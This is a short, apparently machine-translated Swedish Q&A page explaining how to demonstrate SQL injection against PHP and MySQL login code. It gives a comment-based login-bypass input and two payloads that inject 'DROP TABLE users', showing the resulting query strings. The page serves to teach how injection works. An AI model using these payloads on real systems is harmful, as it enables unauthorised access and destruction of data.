sql >> Databasteknik >  >> RDS >> Mysql

Hur demonstrerar man SQL Injection i denna PHP- och MySQL-kod?

Något liknande detta borde göra:

  1. För att logga in som användare "foo", ställ in användarnamnet på "foo" -- "

Detta kommer att få din fråga att se ut

$res = mysql_query("SELECT * from users where user='foo' -- ' AND pass=''");

"--" betyder att resten av raden har kommenterats bort

  1. Osäker på om detta kommer att fungera men försök ställa in användarnamnet till "foo" ELLER (DROP TABLE users) -- "

Detta kommer att få din fråga att se ut så här:

$res = mysql_query("SELECT * from users where user='foo' OR (DROP TABLE users) -- ' AND pass=''");

kanske inte accepterar det dock - jag tror att underfrågor bara kan VÄLJA.

Mysql_query-funktionen kommer bara att köra en fråga - andra skulle låta dig göra detta:

$res = mysql_query("SELECT * from users where user='foo'; DROP TABLE users -- ' AND pass=''"); 


  1. Hur jämför man den nuvarande raden med nästa och föregående rad i PostgreSQL?

  2. Hur kan jag ignorera skillnaden mellan versaler och gemener när jag söker med mysql

  3. Mysql väljer växlande rader för varje körning

  4. Hur refererar jag ett attribut i en tabell till ett värde inuti en ny rad i samma tabell